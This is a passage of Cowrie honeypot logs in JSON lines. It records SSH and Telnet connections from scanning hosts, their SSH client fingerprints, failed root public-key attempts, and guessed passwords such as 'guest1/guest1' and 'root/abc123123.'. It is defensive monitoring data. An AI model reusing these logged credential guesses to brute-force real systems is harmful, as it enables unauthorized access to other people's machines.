ha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:26.738145Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:21:6a:c9:16:2c:a9:8e:21:93:30:04:c0:f7:f0:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvyLEF2YSk3XjseQDMyEIvGRlCQol+c2SYN5NuLqnlBlb7FCXILBHTYpcQgnTWjHENN7C2WEKbnAXbVyOaiTiEkcH+ySta3nON8nomM6kFu5sniir5UJx+VxZiIkhnRR+2quyX+E/O2a9Le+iu1c3B4JyZUV6hJa7cxMAhxYvCPUjUovLUgjKtO48fn8CRKY2uM+StV5Bcga5ExD/r2dVRnNvtdLIiVbRx+KhuQqMxelZLWY+5dC4NHFpu6mizw/ukog320hZipjQ1nzUFNzXOxuE7XM5ed7LJ/vIyZUItWyJE2I2wE3mv5iwy4CKexpT+Igi+kmNPkmp3ifdDJR31","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:21:6a:c9:16:2c:a9:8e:21:93:30:04:c0:f7:f0:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.390570Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:21:6a:c9:16:2c:a9:8e:21:93:30:04:c0:f7:f0:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvyLEF2YSk3XjseQDMyEIvGRlCQol+c2SYN5NuLqnlBlb7FCXILBHTYpcQgnTWjHENN7C2WEKbnAXbVyOaiTiEkcH+ySta3nON8nomM6kFu5sniir5UJx+VxZiIkhnRR+2quyX+E/O2a9Le+iu1c3B4JyZUV6hJa7cxMAhxYvCPUjUovLUgjKtO48fn8CRKY2uM+StV5Bcga5ExD/r2dVRnNvtdLIiVbRx+KhuQqMxelZLWY+5dC4NHFpu6mizw/ukog320hZipjQ1nzUFNzXOxuE7XM5ed7LJ/vIyZUItWyJE2I2wE3mv5iwy4CKexpT+Igi+kmNPkmp3ifdDJR31","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.394362Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:8c:11:9d:79:3f:18:46:6a:69:c1:5e:77:1d:63:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOp8ixj81xdmxpxwN3YL4Yvn8vWsg6axWHbY7swejGxEDB007hExlFsal61t0p0vMruPSBCx0EY0SYXFji3Oy8Xoor6plBz1bnpMx3jS0DiV3HdA3glIuDGmIOP8K0yppAc55zOYwCoFZTmVXtm6tUddvaYV7ZgGpnPj2zYNat/PDII6fASsHDILqZ0QcrReUMbZmvd24ohdpOJRqVPwzzp/wD2O2KaqonvtVGwUoqGCISJphldGjM/2xAZxc9I49MEjqqOGmyAtULGq4Ef5e1pXy5NsE+T3bXAgxqnjKQ2/gHEkIQ/kYAHQLDDAkdKK0HBP7FQ2YajkfO1VHjrPzd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:8c:11:9d:79:3f:18:46:6a:69:c1:5e:77:1d:63:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.529403Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:8c:11:9d:79:3f:18:46:6a:69:c1:5e:77:1d:63:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOp8ixj81xdmxpxwN3YL4Yvn8vWsg6axWHbY7swejGxEDB007hExlFsal61t0p0vMruPSBCx0EY0SYXFji3Oy8Xoor6plBz1bnpMx3jS0DiV3HdA3glIuDGmIOP8K0yppAc55zOYwCoFZTmVXtm6tUddvaYV7ZgGpnPj2zYNat/PDII6fASsHDILqZ0QcrReUMbZmvd24ohdpOJRqVPwzzp/wD2O2KaqonvtVGwUoqGCISJphldGjM/2xAZxc9I49MEjqqOGmyAtULGq4Ef5e1pXy5NsE+T3bXAgxqnjKQ2/gHEkIQ/kYAHQLDDAkdKK0HBP7FQ2YajkfO1VHjrPzd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.532898Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:c5:d5:c0:4c:7a:a0:6b:84:cf:30:aa:09:2d:b2:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdyUyAfu5/NQ1r2V/W/Ve6VWVnNkW+DQbFuAUOCbvtswhJt+wKrJyVddYj4vJ2ib1ythLK4j5DQ8NHPLBjSjnVEyByjNyTGBBK8C4ACLlQ4GgaXa+r9tbAmDnP7leaqVLiMAF9JLAMINwmdHT1zHzjQFATA4SzFBKTpp4QJf48dWLOXkT98TxHa251pSUw/QlxIht07lvBTqZt+KkQ1KMIaFidUM4XnBb7RaZNyIMvp2PWmy05F3olDBzrz7NYxsZk4MlTZlKtEZ2E4SSiBSC0ZD6LVZDQ5+oFA+Itn5ROnryyPqqUi5eSGCPuJEFighwTmSKh2UkJ1zI2tyoXFbVGvSSoT3kmL7UKBbLBU5RC+4pHbQaj0uImfopbpqng3Okewozru7uZOr9tdBop4nUKUGwtQwjKwAmylbqV4VcMDniBEkLkxkKN9U063jkN2aKu3Pyva46yBgCry6ayPFoV7plorHjsXDMaQpldoRdTetyo4uM34A21Ot2wnhIX/aU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:c5:d5:c0:4c:7a:a0:6b:84:cf:30:aa:09:2d:b2:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.671360Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:c5:d5:c0:4c:7a:a0:6b:84:cf:30:aa:09:2d:b2:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdyUyAfu5/NQ1r2V/W/Ve6VWVnNkW+DQbFuAUOCbvtswhJt+wKrJyVddYj4vJ2ib1ythLK4j5DQ8NHPLBjSjnVEyByjNyTGBBK8C4ACLlQ4GgaXa+r9tbAmDnP7leaqVLiMAF9JLAMINwmdHT1zHzjQFATA4SzFBKTpp4QJf48dWLOXkT98TxHa251pSUw/QlxIht07lvBTqZt+KkQ1KMIaFidUM4XnBb7RaZNyIMvp2PWmy05F3olDBzrz7NYxsZk4MlTZlKtEZ2E4SSiBSC0ZD6LVZDQ5+oFA+Itn5ROnryyPqqUi5eSGCPuJEFighwTmSKh2UkJ1zI2tyoXFbVGvSSoT3kmL7UKBbLBU5RC+4pHbQaj0uImfopbpqng3Okewozru7uZOr9tdBop4nUKUGwtQwjKwAmylbqV4VcMDniBEkLkxkKN9U063jkN2aKu3Pyva46yBgCry6ayPFoV7plorHjsXDMaQpldoRdTetyo4uM34A21Ot2wnhIX/aU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.678450Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:6c:44:46:38:d6:39:bf:5c:97:83:01:d5:ed:6a:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2LrHCMC/fYsdS9qU0Xco06khw1EzSDltiTDlm/vMzeSR5+aS6WymqpOZUkCdigaDjkSOlAKXMk/monNt/AI4GVDRwTIm1xVi2vtaFAvxoQzoa+qqdOZEVTLLrLEohZI3yB8IG4z3znTSOz1RtMHHOusDjKbnZ9w/hgqQFiv4CJ+EZo9XYSnI386SNQJl11dZuz+g6qVmKLhHt8OWluPsIz3E2FKSdroECroDMNC9twF0MAKz9/Tw3zEVsrxXcld5PT0WXRU8dMmNdtK8nMsKaEnl+2vao1HWYhYcn0RUEfAG0cwKvWW9rZiPcWUSUeVVznZLw1PCik3s47D0OHqmKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:6c:44:46:38:d6:39:bf:5c:97:83:01:d5:ed:6a:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.821603Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:6c:44:46:38:d6:39:bf:5c:97:83:01:d5:ed:6a:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2LrHCMC/fYsdS9qU0Xco06khw1EzSDltiTDlm/vMzeSR5+aS6WymqpOZUkCdigaDjkSOlAKXMk/monNt/AI4GVDRwTIm1xVi2vtaFAvxoQzoa+qqdOZEVTLLrLEohZI3yB8IG4z3znTSOz1RtMHHOusDjKbnZ9w/hgqQFiv4CJ+EZo9XYSnI386SNQJl11dZuz+g6qVmKLhHt8OWluPsIz3E2FKSdroECroDMNC9twF0MAKz9/Tw3zEVsrxXcld5PT0WXRU8dMmNdtK8nMsKaEnl+2vao1HWYhYcn0RUEfAG0cwKvWW9rZiPcWUSUeVVznZLw1PCik3s47D0OHqmKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.825708Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:ff:50:16:66:a4:43:4a:4d:2f:8d:f9:84:e0:7d:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD55nBYJxzNiw5um/I3ruD/49Gkrd7RBagKzIACTNMZE40PDv+p6YQThLQELQF1lpO/NXBOo7Tj35aoQIOzd1kT9nQvEzBSrAZoDxVKHWtK3UsyW0BPlaAWcp+ytjBaXMRADm28ooVBgUCE7UKRvGDWvWKIVW1sGhAyhAmW4YAxLh9GvrUh0hgMOixygYiusbRfEsYgrXEQ5pUA7Klov8a+jQcAb+3Gm0VhRN24IeQDBHkiSM/HIib6aHDNqttMo7bEOYvjLumkR/FUOxQ30lMnBhza3E+35cj/MinczKnzT+1tztxepGzViUwwa2wthq8on0y/H5+24KqH4h34zzr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:ff:50:16:66:a4:43:4a:4d:2f:8d:f9:84:e0:7d:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.961025Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:ff:50:16:66:a4:43:4a:4d:2f:8d:f9:84:e0:7d:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD55nBYJxzNiw5um/I3ruD/49Gkrd7RBagKzIACTNMZE40PDv+p6YQThLQELQF1lpO/NXBOo7Tj35aoQIOzd1kT9nQvEzBSrAZoDxVKHWtK3UsyW0BPlaAWcp+ytjBaXMRADm28ooVBgUCE7UKRvGDWvWKIVW1sGhAyhAmW4YAxLh9GvrUh0hgMOixygYiusbRfEsYgrXEQ5pUA7Klov8a+jQcAb+3Gm0VhRN24IeQDBHkiSM/HIib6aHDNqttMo7bEOYvjLumkR/FUOxQ30lMnBhza3E+35cj/MinczKnzT+1tztxepGzViUwwa2wthq8on0y/H5+24KqH4h34zzr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:27.964219Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:28.101042Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:30.707926Z","src_ip":"8.210.75.243","session":"f3052ce0604d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41404,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d964a87b95","protocol":"telnet","message":"New connection: 170.64.224.25:41404 (159.203.135.109:23) [session: 73d964a87b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:32.998026Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":46454,"dst_ip":"159.203.135.109","dst_port":22,"session":"e94e54907125","protocol":"ssh","message":"New connection: 103.97.101.25:46454 (159.203.135.109:22) [session: e94e54907125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:38.977170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:38.981045Z","src_ip":"103.97.101.25","session":"e94e54907125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:39.220218Z","src_ip":"103.97.101.25","session":"e94e54907125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:40.193802Z","src_ip":"103.97.101.25","session":"e94e54907125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":56084,"dst_ip":"10.17.0.5","dst_port":22,"session":"977bb53b0324","protocol":"ssh","message":"New connection: 154.116.254.157:56084 (10.17.0.5:22) [session: 977bb53b0324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:41.078556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:41.083296Z","src_ip":"154.116.254.157","session":"977bb53b0324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:41.249900Z","src_ip":"154.116.254.157","session":"977bb53b0324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:41.431140Z","src_ip":"103.97.101.25","session":"e94e54907125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"id","message":"login attempt [ubuntu/id] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:41.949986Z","src_ip":"154.116.254.157","session":"977bb53b0324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:43.119030Z","src_ip":"154.116.254.157","session":"977bb53b0324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48860,"dst_ip":"10.17.0.5","dst_port":22,"session":"5052646eb5c4","protocol":"ssh","message":"New connection: 8.210.75.243:48860 (10.17.0.5:22) [session: 5052646eb5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:44.669134Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":60478,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4adaab3ef80","protocol":"ssh","message":"New connection: 45.143.200.246:60478 (10.17.0.5:22) [session: d4adaab3ef80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:52.883140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:52.887737Z","src_ip":"45.143.200.246","session":"d4adaab3ef80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:52.992918Z","src_ip":"45.143.200.246","session":"d4adaab3ef80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123123.","message":"login attempt [root/abc123123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:53.442560Z","src_ip":"45.143.200.246","session":"d4adaab3ef80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:54.547786Z","src_ip":"45.143.200.246","session":"d4adaab3ef80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f358738a692","protocol":"ssh","message":"New connection: 194.59.206.2:56476 (159.203.135.109:22) [session: 3f358738a692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:00.962128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:00.966256Z","src_ip":"194.59.206.2","session":"3f358738a692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:01.051176Z","src_ip":"194.59.206.2","session":"3f358738a692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:01.148696Z","src_ip":"194.59.206.2","session":"3f358738a692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0852a9f448","protocol":"ssh","message":"New connection: 113.161.222.150:52412 (159.203.135.109:22) [session: 4e0852a9f448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:04.247612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:04.251697Z","src_ip":"113.161.222.150","session":"4e0852a9f448","protocol":"ssh"}
